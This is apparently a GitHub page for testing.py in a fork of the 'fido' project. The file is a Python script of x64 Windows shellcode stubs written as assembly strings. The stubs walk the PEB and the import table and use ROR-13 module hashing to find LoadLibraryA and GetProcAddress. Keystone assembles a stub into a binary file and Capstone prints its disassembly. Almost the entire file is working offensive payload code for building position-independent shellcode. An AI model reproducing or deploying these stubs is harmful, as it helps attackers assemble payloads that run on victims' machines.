forked from secretsquirrel/fido
-
Notifications
You must be signed in to change notification settings - Fork 0
/
testing.py
560 lines (488 loc) · 29.2 KB
/
testing.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
import sys
from keystone import *
import array
from capstone import *
from capstone.x86 import *
def lla_gpa_parser_stub_x64():
parser_stub = 'LLAGPA'
importname = 'main_module'
shellcode = (
# x86 calling convention
# eax, ecx, edx are caller saved everything pushed on the stack in reverse order
#
# vs
# x64 calling convention
# It uses registers RCX, RDX, R8, R9 for the first four integer or pointer arguments (in that order),
# and XMM0, XMM1, XMM2, XMM3 are used for floating point arguments.
# Additional arguments are pushed onto the stack (right to left).
# Stack: "shadow space" on the stack right before calling the function (regardless of the actual number of parameters used), and to pop the stack after the call. The shadow space is used to spill RCX, RDX, R8, and R9,[14] but must be made available to all functions, even those with fewer than four parameters.
# RAX, RCX, RDX, R8, R9, R10, R11 are considered volatile (caller-saved).[15]
# RBX, RBP, RDI, RSI, RSP, R12, R13, R14, and R15 are considered nonvolatile (callee-saved).[15]
b'int3;'
b'cld;'
b'sub rsp,0x20;'
b'push r9;' # Save registers
b'push r8;'
b'push rdx;'
b'push rcx;'
b'push rsi;'
b'xor rdx, rdx;'
b'mov rdx, qword ptr gs:[rdx + 0x60];' #; PEB
b'mov rdx, qword ptr [rdx + 0x10];' #; PEB.imagebase
b'mov rbx, rdx;' #; Set rbx to imagebase
b'mov eax, dword ptr [rdx + 0x3c];' #; Splitting 4 byte memory "PE"
b'add rdx, rax;' #; "PE"
b'mov edi, dword ptr [rdx + 0x90];' #; Import Table RVA
b'add rdi, rbx;' #; Import table in memory offset
b'findImport:;'
b'mov edx, dword ptr [rdi + 0xc];' # Offset for Import Directory Table Name RVA NEED TO TEST
b'add rdx, rbx;' # Offset in memory
b'cmp dword ptr [rdx], 0x4e52454b;' # cmp kern
b'jne incImport;' # jmp short to increment 14
b'cmp dword ptr ds:[rdx+4],0x32334C45;' # el32
b'je saveBase;' # je to saveBase
b'incImport:;'
b'add rdi, 0x14;' # inc to next import
b'jmp findImport;' # jmp to findImport
# mov ; Offset for import Directory Table Name
# ; Offset in memory
b'saveBase:;'
b'push rdi;'
b'jmp loadAPIs;' # jump LoadAPIs
b'setBounds:;'
b'mov edx, dword ptr [rdi + 0x10];' # ;Point to API name
b'add rdx, rbx;' # ;Adjust to in memory offset
b'mov esi, dword ptr [rdi];' # ;Set ESI to the Named Import base
b'add rsi, rbx;' # ;Adjust to in memory offset
b'mov rcx, rdx;' # ;Mov in memory offset to ecx
b'add rcx, 0xff0000;' # ;Set an upper bounds for reading
b'xor rbp, rbp;' # ;Zero ebp for thunk offset
b'findAPI:;'
b'mov eax, dword ptr [rsi];' #;Mov pointer to Named Imports
b'add rax, rbx;' #;Find in memory offset
b'add rax, 2;' #;Adjust to ASCII name start
b'cmp rcx, rax;' #;Check if over bounds
b'jb increment;' #;If not over, don't jump to increment
b'cmp rax, rdx;' #;Check if under Named import
b'jb increment;' #;If not over, don't jump to increment
b'mov edi, dword ptr ds:[rsp + 8];' #;Move API name to edi
b'cmp dword ptr [rax], edi;' #;Check first 4 chars
b'jne increment;' #;If not a match, jump to increment
b'mov edi, dword ptr ds:[rsp + 16];' #;Move API 2nd named part to edi
b'cmp dword ptr [rax + 8], edi;' #;Check next 4 chars
b'jne increment;' #;If not a match, jump to increment
b'ret;' #;If a match, ret
b'increment:;'
b'add ebp, 4;' # ;inc offset
b'add rsi, 4;' # ;inc to next name
b'jmp findAPI;' # ;jmp findAPI
b'loadAPIs:;'
b'push 0x41797261;' # ;aryA (notice the 4 char jump between beginni
b'push 0x64616f4c;' # ;Load
b'call setBounds;' # ;call setBounds
b'add rdx, rbp;' # ;In memory offset of API thunk
b'add rsp, 0x10;' # ;Move stack to import base addr
b'pop rdi;' # ;restore import base addr for parsing;'
#add rest here
b'push rdx;' # ;save LoadLibraryA thunk address on stack
b'push 0x65726464;' # ;ddre
b'push 0x50746547;' # ;Getp
b'call setBounds;' # ;call setBounds
b'add rdx, rbp;' # ;
b'pop rbp;' # ;
b'pop rbp;' # ;
b'pop rbx;' # ;Pop LoadlibraryA thunk addr into rbx
b'mov rbp, rdx;' # ;Move GetProcaddress thunk addr into rbx
)#
######
# LLA in RBX
# GPA RBP
return shellcode
def gpa_parser_stub_x64():
shellcode = (
# x86 calling convention
# eax, ecx, edx are caller saved everything pushed on the stack in reverse order
#
# vs
# x64 calling convention
# It uses registers RCX, RDX, R8, R9 for the first four integer or pointer arguments (in that order),
# and XMM0, XMM1, XMM2, XMM3 are used for floating point arguments.
# Additional arguments are pushed onto the stack (right to left).
# Stack: "shadow space" on the stack right before calling the function (regardless of the actual number of parameters used), and to pop the stack after the call. The shadow space is used to spill RCX, RDX, R8, and R9,[14] but must be made available to all functions, even those with fewer than four parameters.
# RAX, RCX, RDX, R8, R9, R10, R11 are considered volatile (caller-saved).[15]
# RBX, RBP, RDI, RSI, RSP, R12, R13, R14, and R15 are considered nonvolatile (callee-saved).[15]
b'int3;'
b'cld;'
b'sub rsp,0x20;'
b'push r9;' # Save registers
b'push r8;'
b'push rdx;'
b'push rcx;'
b'push rsi;'
b'xor rdx, rdx;'
b'mov rdx, qword ptr gs:[rdx + 0x60];' #; PEB
b'mov rdx, qword ptr [rdx + 0x10];' #; PEB.imagebase
b'mov rbx, rdx;' #; Set rbx to imagebase
b'mov eax, dword ptr [rdx + 0x3c];' #; Splitting 4 byte memory "PE"
b'add rdx, rax;' #; "PE"
b'mov edi, dword ptr [rdx + 0x90];' #; Import Table RVA
b'add rdi, rbx;' #; Import table in memory offset
b'findImport:;'
b'mov edx, dword ptr [rdi + 0xc];' # Offset for Import Directory Table Name RVA NEED TO TEST
b'add rdx, rbx;' # Offset in memory
b'cmp dword ptr [rdx], 0x4e52454b;' # cmp kern
b'jne incImport;' # jmp short to increment 14
b'cmp dword ptr ds:[rdx+4],0x32334C45;' # el32
b'je saveBase;' # je to saveBase
b'incImport:;'
b'add rdi, 0x14;' # inc to next import
b'jmp findImport;' # jmp to findImport
# mov ; Offset for import Directory Table Name
# ; Offset in memory
b'saveBase:;'
b'push rdi;'
b'jmp loadAPIs;' # jump LoadAPIs
b'setBounds:;'
b'mov edx, dword ptr [rdi + 0x10];' # ;Point to API name
b'add rdx, rbx;' # ;Adjust to in memory offset
b'mov esi, dword ptr [rdi];' # ;Set ESI to the Named Import base
b'add rsi, rbx;' # ;Adjust to in memory offset
b'mov rcx, rdx;' # ;Mov in memory offset to ecx
b'add rcx, 0xff0000;' # ;Set an upper bounds for reading
b'xor rbp, rbp;' # ;Zero ebp for thunk offset
b'findAPI:;'
b'mov eax, dword ptr [rsi];' #;Mov pointer to Named Imports
b'add rax, rbx;' #;Find in memory offset
b'add rax, 2;' #;Adjust to ASCII name start
b'cmp rcx, rax;' #;Check if over bounds
b'jb increment;' #;If not over, don't jump to increment
b'cmp rax, rdx;' #;Check if under Named import
b'jb increment;' #;If not over, don't jump to increment
b'mov edi, dword ptr ds:[rsp + 8];' #;Move API name to edi
b'cmp dword ptr [rax], edi;' #;Check first 4 chars
b'jne increment;' #;If not a match, jump to increment
b'mov edi, dword ptr ds:[rsp + 16];' #;Move API 2nd named part to edi
b'cmp dword ptr [rax + 8], edi;' #;Check next 4 chars
b'jne increment;' #;If not a match, jump to increment
b'ret;' #;If a match, ret
b'increment:;'
b'add ebp, 4;' # ;inc offset
b'add rsi, 4;' # ;inc to next name
b'jmp findAPI;' # ;jmp findAPI
b'loadAPIs:;'
# Find GPA
b'push rdx;' # ;save LoadLibraryA thunk address on stack
b'push 0x65726464;' # ;ddre
b'push 0x50746547;' # ;Getp
b'call setBounds;' # ;call setBounds
b'add rdx, rbp;' # ;
b'pop rbp;' # ;
b'pop rbp;' # ;
b'mov rbp, rdx;' # ;Move GetProcaddress thunk addr into rbx
# GPA in RBP
#
b'xor rdx, rdx;' # ; Prep rdx
b'mov rdx, qword ptr gs:[rdx + 0x60];' # ; PEB
b'mov rdx, qword ptr [rdx + 0x18];'
b'mov rdx, qword ptr [rdx + 0x20];'
b'outerloop:;'
b'mov rsi, qword ptr [rdx + 0x50];'
b'push 0x18;'
b'pop rcx;'
b'xor r9, r9;'
b'innerloop:;'
b'xor rax, rax;'
b'lodsb al, byte ptr [rsi];'
b'cmp al, 0x61;'
b'jl uppercase;'
b'sub al, 0x20;'
b'uppercase:;'
b'ror r9d, 0xd;'
b'add r9d, eax;'
b'loop innerloop;'
b'cmp r9,0x6a4abc5b;'
b'mov rbx, qword ptr [rdx + 0x20];'
b'mov rdx, QWORD PTR [rdx];'
b'jne outerloop;'
#kernel32 handle in rbx
b'push 0;'
b'push 0;'
b'mov dword ptr [rsp+0x8], 0x41797261;'
b'mov dword PTR [rsp+0x4], 0x7262694c;'
b'mov dword ptr [rsp], 0x64616f4c;'
b'mov rdx,rsp;' #; mov lla string ptr to rdx
b'mov rcx, rbx;' #; mov kernel32 handle to rcx
b'sub rsp,0x20;' #; prep stack
b'call qword ptr [rbp];' #; Call GPA
b'push rax;' #; push lla handle to stack
b'mov rbx, rsp;' #; mov lla handle ptr to rbx
b'add rsp, 0x40;' #; align the stack
# LLA in RBX
# GPA RBP
)
return shellcode
def loaded_lla_gpa_parser_stub_x64():
shellcode = (
b'int3;'
b'cld;'
b'sub rsp,0x20;'
b'push r9;' # Save registers
b'push r8;'
b'push rdx;'
b'push rcx;'
b'push rsi;'
b'xor rdx, rdx;' # ; Prep rdx
b'mov rdx, qword ptr gs:[rdx + 0x60];' # ; PEB
b'mov rdx, qword ptr [rdx + 0x18];'
b'mov rdx, qword ptr [rdx + 0x20];'
b'outerloop:;'
b'mov rsi, qword ptr [rdx + 0x50];'
b'push 0x18;'
b'pop rcx;'
b'xor r9, r9;'
b'innerloop:;'
b'xor rax, rax;'
b'lodsb al, byte ptr [rsi];'
b'cmp al, 0x61;'
b'jl uppercase;'
b'sub al, 0x20;'
b'uppercase:;'
b'ror r9d, 0xd;'
b'add r9d, eax;'
b'loop innerloop;'
b'cmp r9d, 0xc78a43f4;' # change for testing
b'mov rbx, qword ptr [rdx + 0x20];'
b'mov rdx, QWORD PTR [rdx];'
b'jne outerloop;'
#dll handle in rbx
#IAT Parser
b'mov rdx, rbx;' #; DLL imagebase
b'mov eax, dword ptr [rdx + 0x3c];' #; Splitting 4 byte memory "PE"
b'add rdx, rax;' #; "PE"
b'mov edi, dword ptr [rdx + 0x90];' #; Import Table RVA
b'add rdi, rbx;' #; Import table in memory offset
b'findImport:;'
b'mov edx, dword ptr [rdi + 0xc];' # Offset for Import Directory Table Name RVA NEED TO TEST
b'add rdx, rbx;' # Offset in memory
b'cmp dword ptr [rdx], 0x4e52454b;' # cmp kern
b'jne incImport;' # jmp short to increment 14
b'cmp dword ptr ds:[rdx+4],0x32334C45;' # el32
b'je saveBase;' # je to saveBase
b'incImport:;'
b'add rdi, 0x14;' # inc to next import
b'jmp findImport;' # jmp to findImport
# mov ; Offset for import Directory Table Name
# ; Offset in memory
b'saveBase:;'
b'push rdi;'
b'jmp loadAPIs;' # jump LoadAPIs
b'setBounds:;'
b'mov edx, dword ptr [rdi + 0x10];' # ;Point to API name
b'add rdx, rbx;' # ;Adjust to in memory offset
b'mov esi, dword ptr [rdi];' # ;Set ESI to the Named Import base
b'add rsi, rbx;' # ;Adjust to in memory offset
b'mov rcx, rdx;' # ;Mov in memory offset to ecx
b'add rcx, 0xff0000;' # ;Set an upper bounds for reading
b'xor rbp, rbp;' # ;Zero ebp for thunk offset
b'findAPI:;'
b'mov eax, dword ptr [rsi];' #;Mov pointer to Named Imports
b'add rax, rbx;' #;Find in memory offset
b'add rax, 2;' #;Adjust to ASCII name start
b'cmp rcx, rax;' #;Check if over bounds
b'jb increment;' #;If not over, don't jump to increment
b'cmp rax, rdx;' #;Check if under Named import
b'jb increment;' #;If not over, don't jump to increment
b'mov edi, dword ptr ds:[rsp + 8];' #;Move API name to edi
b'cmp dword ptr [rax], edi;' #;Check first 4 chars
b'jne increment;' #;If not a match, jump to increment
b'mov edi, dword ptr ds:[rsp + 16];' #;Move API 2nd named part to edi
b'cmp dword ptr [rax + 8], edi;' #;Check next 4 chars
b'jne increment;' #;If not a match, jump to increment
b'ret;' #;If a match, ret
b'increment:;'
b'add ebp, 4;' # ;inc offset
b'add rsi, 4;' # ;inc to next name
b'jmp findAPI;' # ;jmp findAPI
b'loadAPIs:;'
b'push 0x41797261;' # ;aryA (notice the 4 char jump between beginni
b'push 0x64616f4c;' # ;Load
b'call setBounds;' # ;call setBounds
b'add rdx, rbp;' # ;In memory offset of API thunk
b'add rsp, 0x10;' # ;Move stack to import base addr
b'pop rdi;' # ;restore import base addr for parsing;'
#add rest here
b'push rdx;' # ;save LoadLibraryA thunk address on stack
b'push 0x65726464;' # ;ddre
b'push 0x50746547;' # ;Getp
b'call setBounds;' # ;call setBounds
b'add rdx, rbp;' # ;
b'pop rbp;' # ;
b'pop rbp;' # ;
b'pop rbx;' # ;Pop LoadlibraryA thunk addr into rbx
b'mov rbp, rdx;' # ;Move GetProcaddress thunk addr into rbx
# LLA in RBX
# GPA RBP
)
return shellcode
def loaded_gpa_iat_parser_stub():
shellcode = (
b'int3;'
b'cld;'
b'sub rsp,0x20;'
b'push r9;' # Save registers
b'push r8;'
b'push rdx;'
b'push rcx;'
b'push rsi;'
b'xor rdx, rdx;' # ; Prep rdx
b'mov rdx, qword ptr gs:[rdx + 0x60];' # ; PEB
b'mov rdx, qword ptr [rdx + 0x18];'
b'mov rdx, qword ptr [rdx + 0x20];'
b'upperloop:;'
b'mov rsi, qword ptr [rdx + 0x50];'
b'push 0x18;'
b'pop rcx;'
b'xor r9, r9;'
b'innerupperloop:;'
b'xor rax, rax;'
b'lodsb al, byte ptr [rsi];'
b'cmp al, 0x61;'
b'jl uppercase;'
b'sub al, 0x20;'
b'uppercase:;'
b'ror r9d, 0xd;'
b'add r9d, eax;'
b'loop innerupperloop;'
b'cmp r9d, 0xc78a43f4;' # change for testing
b'mov rbx, qword ptr [rdx + 0x20];'
b'mov rdx, QWORD PTR [rdx];'
b'jne upperloop;'
#dll handle in rbx
#IAT Parser
b'mov rdx, rbx;' #; DLL imagebase
b'mov eax, dword ptr [rdx + 0x3c];' #; Splitting 4 byte memory "PE"
b'add rdx, rax;' #; "PE"
b'mov edi, dword ptr [rdx + 0x90];' #; Import Table RVA
b'add rdi, rbx;' #; Import table in memory offset
b'findImport:;'
b'mov edx, dword ptr [rdi + 0xc];' # Offset for Import Directory Table Name RVA NEED TO TEST
b'add rdx, rbx;' # Offset in memory
b'cmp dword ptr [rdx], 0x4e52454b;' # cmp kern
b'jne incImport;' # jmp short to increment 14
b'cmp dword ptr ds:[rdx+4],0x32334C45;' # el32
b'je saveBase;' # je to saveBase
b'incImport:;'
b'add rdi, 0x14;' # inc to next import
b'jmp findImport;' # jmp to findImport
# mov ; Offset for import Directory Table Name
# ; Offset in memory
b'saveBase:;'
b'push rdi;'
b'jmp loadAPIs;' # jump LoadAPIs
b'setBounds:;'
b'mov edx, dword ptr [rdi + 0x10];' # ;Point to API name
b'add rdx, rbx;' # ;Adjust to in memory offset
b'mov esi, dword ptr [rdi];' # ;Set ESI to the Named Import base
b'add rsi, rbx;' # ;Adjust to in memory offset
b'mov rcx, rdx;' # ;Mov in memory offset to ecx
b'add rcx, 0xff0000;' # ;Set an upper bounds for reading
b'xor rbp, rbp;' # ;Zero ebp for thunk offset
b'findAPI:;'
b'mov eax, dword ptr [rsi];' #;Mov pointer to Named Imports
b'add rax, rbx;' #;Find in memory offset
b'add rax, 2;' #;Adjust to ASCII name start
b'cmp rcx, rax;' #;Check if over bounds
b'jb increment;' #;If not over, don't jump to increment
b'cmp rax, rdx;' #;Check if under Named import
b'jb increment;' #;If not over, don't jump to increment
b'mov edi, dword ptr ds:[rsp + 8];' #;Move API name to edi
b'cmp dword ptr [rax], edi;' #;Check first 4 chars
b'jne increment;' #;If not a match, jump to increment
b'mov edi, dword ptr ds:[rsp + 16];' #;Move API 2nd named part to edi
b'cmp dword ptr [rax + 8], edi;' #;Check next 4 chars
b'jne increment;' #;If not a match, jump to increment
b'ret;' #;If a match, ret
b'increment:;'
b'add ebp, 4;' # ;inc offset
b'add rsi, 4;' # ;inc to next name
b'jmp findAPI;' # ;jmp findAPI
b'loadAPIs:;'
b'push rdx;' # ;save LoadLibraryA thunk address on stack
b'push 0x65726464;' # ;ddre
b'push 0x50746547;' # ;Getp
b'call setBounds;' # ;call setBounds
b'add rdx, rbp;' # ;
b'pop rbp;' # ;
b'pop rbp;' # ;
b'mov rbp, rdx;' # ;Move GetProcaddress thunk addr into rbx
# GPA in RBP
#
b'xor rdx, rdx;' # ; Prep rdx
b'mov rdx, qword ptr gs:[rdx + 0x60];' # ; PEB
b'mov rdx, qword ptr [rdx + 0x18];'
b'mov rdx, qword ptr [rdx + 0x20];'
b'outerloop:;'
b'mov rsi, qword ptr [rdx + 0x50];'
b'push 0x18;'
b'pop rcx;'
b'xor r9, r9;'
b'innerloop:;'
b'xor rax, rax;'
b'lodsb al, byte ptr [rsi];'
b'cmp al, 0x61;'
b'jl uppercase2;'
b'sub al, 0x20;'
b'uppercase2:;'
b'ror r9d, 0xd;'
b'add r9d, eax;'
b'loop innerloop;'
b'cmp r9,0x6a4abc5b;'
b'mov rbx, qword ptr [rdx + 0x20];'
b'mov rdx, QWORD PTR [rdx];'
b'jne outerloop;'
#kernel32 handle in rbx
b'push 0;'
b'push 0;'
b'mov dword ptr [rsp+0x8], 0x41797261;'
b'mov dword PTR [rsp+0x4], 0x7262694c;'
b'mov dword ptr [rsp], 0x64616f4c;'
b'mov rdx,rsp;' #; mov lla string ptr to rdx
b'mov rcx, rbx;' #; mov kernel32 handle to rcx
b'sub rsp,0x20;' #; prep stack
b'call qword ptr [rbp];' #; Call GPA
b'push rax;' #; push lla handle to stack
b'mov rbx, rsp;' #; mov lla handle ptr to rbx
b'add rsp, 0x70;' #; align the stack
# LLA in RBX
# GPA RBP
)
return shellcode
if __name__ == "__main__":
if len(sys.argv) != 3:
print "Usage:", sys.argv[0], 'fileout.bin', 'MODE (x86 or x64)'
sys.exit(-1)
if sys.argv[2] == 'x86':
KSMODE = KS_MODE_32
CSMODE = CS_MODE_32
elif sys.argv[2] == 'x64':
KSMODE = KS_MODE_64
CSMODE = CS_MODE_64
else:
print("Must have a mode (x86 or x64)")
sys.exit(-1)
shellcode = gpa_parser_stub_x64()
try:
ks = Ks(KS_ARCH_X86, KSMODE)
encoding, count = ks.asm(shellcode)
#print("%s = %s (number of statements: %u)" %(shellcode, encoding, count))
#print(type(encoding))
#for i in encoding:
# print("%02x" % i)
except KsError as e:
print("ERROR: %s" % e)
somecode = array.array('B', encoding).tostring()
open(sys.argv[1], 'wb').write(somecode)
md = Cs(CS_ARCH_X86, CSMODE)
for insn in md.disasm(somecode, 0):
width = 50 - len(''.join('\\x{:02x}'.format(x) for x in insn.bytes))
print("%s:\t\"%s\" %s %s %s" % (hex(insn.address).strip('L'), ''.join('\\x{:02x}'.format(x) for x in insn.bytes), '#'.rjust(width), insn.mnemonic, insn.op_str))